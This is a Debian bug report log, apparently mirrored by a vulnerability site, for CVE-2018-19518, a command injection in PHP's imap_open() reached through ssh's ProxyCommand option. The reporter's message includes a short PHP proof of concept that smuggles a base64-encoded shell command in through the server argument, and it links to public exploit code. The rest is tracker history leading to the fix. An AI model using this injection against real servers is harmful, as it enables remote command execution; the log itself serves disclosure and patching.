Related Vulnerabilities: CVE-2018-19518

Source

Debian Bug report logs - #913775
php7.3-imap: CVE-2018-19518: imap_open() function command injection

Package: php7.3-imap; Maintainer for php7.3-imap is Debian PHP Maintainers <team+pkg-php@tracker.debian.org>; Source for php7.3-imap is src:php7.3 (PTS, buildd, popcon).

Reported by: rhns <vulns@rhns.eu>

Date: Thu, 15 Nov 2018 02:18:01 UTC

Severity: grave

Tags: security, upstream

Found in versions php7.3/7.3.0~rc5-2, php7.3/7.3.0~rc4-1

Fixed in version php7.3/7.3.0-1

Done: Salvatore Bonaccorso <carnil@debian.org>

Bug is archived. No further changes may be made.

Forwarded to https://bugs.php.net/bug.php?id=76428

Toggle useless messages

View this report as an mbox folder, status mbox, maintainer mbox

Report forwarded to debian-bugs-dist@lists.debian.org, vulns@rhns.eu, team@security.debian.org, Debian PHP Maintainers <team+pkg-php@tracker.debian.org>:
Bug#913775; Package php-imap. (Thu, 15 Nov 2018 02:18:04 GMT) (full text, mbox, link).

Acknowledgement sent to rhns <vulns@rhns.eu>:
New Bug report received and forwarded. Copy sent to vulns@rhns.eu, team@security.debian.org, Debian PHP Maintainers <team+pkg-php@tracker.debian.org>. (Thu, 15 Nov 2018 02:18:04 GMT) (full text, mbox, link).

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

Package: php-imap
Version: 1:7.0+49
Severity: grave
Tags: security
Justification: user security hole

Dear Maintainer,

A command injection vulnerability has been identified in the imap
extension of php.

It is located in the imap_open() function which does not validate
correctly the server URI.

imap_open() invokes rsh which is symlinked to ssh on Debian, it results
in a possible command injection via the "-o ProxyCommand" option of ssh.

A PoC is available :
```
<?php
# https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError:
".imap_last_error());
```

- Bo0om : PHP_imap_open_exploit
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
- Antichat : [спущено с LVL8] RCE Task #3 
https://antichat.com/threads/463395/#post-4254681

-- System Information:
Debian Release: 9.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-8-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages php-imap depends on:
ii  php-common   1:49
ii  php7.0-imap  7.0.30-0+deb9u1

php-imap recommends no packages.

php-imap suggests no packages.

-- no debconf information

Bug reassigned from package 'php-imap' to 'php7.3-imap'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:05 GMT) (full text, mbox, link).

No longer marked as found in versions php-defaults/49. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:06 GMT) (full text, mbox, link).

Marked as found in versions php7.3/7.3.0~rc5-2. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:06 GMT) (full text, mbox, link).

Changed Bug title to 'php7.3-imap: imap_open() function command injection' from 'php-imap: imap_open() function command injection'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:07 GMT) (full text, mbox, link).

Bug 913775 cloned as bugs 913835, 913836 Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:08 GMT) (full text, mbox, link).

Added tag(s) upstream. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:14 GMT) (full text, mbox, link).

Set Bug forwarded-to-address to 'https://bugs.php.net/bug.php?id=76428'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 22 Nov 2018 21:57:03 GMT) (full text, mbox, link).

Changed Bug title to 'php7.3-imap: CVE-2018-19518: imap_open() function command injection' from 'php7.3-imap: imap_open() function command injection'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Sun, 25 Nov 2018 13:27:02 GMT) (full text, mbox, link).

Marked as found in versions php7.3/7.3.0~rc4-1. Request was from Adrian Bunk <bunk@debian.org> to control@bugs.debian.org. (Sun, 25 Nov 2018 21:21:03 GMT) (full text, mbox, link).

Marked as fixed in versions php7.3/7.3.0-1. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Fri, 07 Dec 2018 13:30:21 GMT) (full text, mbox, link).

Marked Bug as done Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Fri, 07 Dec 2018 13:30:21 GMT) (full text, mbox, link).

Notification sent to rhns <vulns@rhns.eu>:
Bug acknowledged by developer. (Fri, 07 Dec 2018 13:30:22 GMT) (full text, mbox, link).

Bug archived. Request was from Debbugs Internal Request <owner@bugs.debian.org> to internal_control@bugs.debian.org. (Mon, 14 Jan 2019 07:33:54 GMT) (full text, mbox, link).

Send a report that this bug log contains spam.

Debian bug tracking system administrator <owner@bugs.debian.org>. Last modified: Wed Jun 19 14:17:34 2019; Machine Name: beach

Debian Bug tracking system

Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.

php7.3-imap: CVE-2018-19518: imap_open() function command injection

Debian Bug report logs - #913775
php7.3-imap: CVE-2018-19518: imap_open() function command injection

Vulmon Search

About

Products

Connect

php7.3-imap: CVE-2018-19518: imap_open() function command injection

Debian Bug report logs - #913775 php7.3-imap: CVE-2018-19518: imap_open() function command injection

Vulmon Search

About

Products

Connect

Debian Bug report logs - #913775
php7.3-imap: CVE-2018-19518: imap_open() function command injection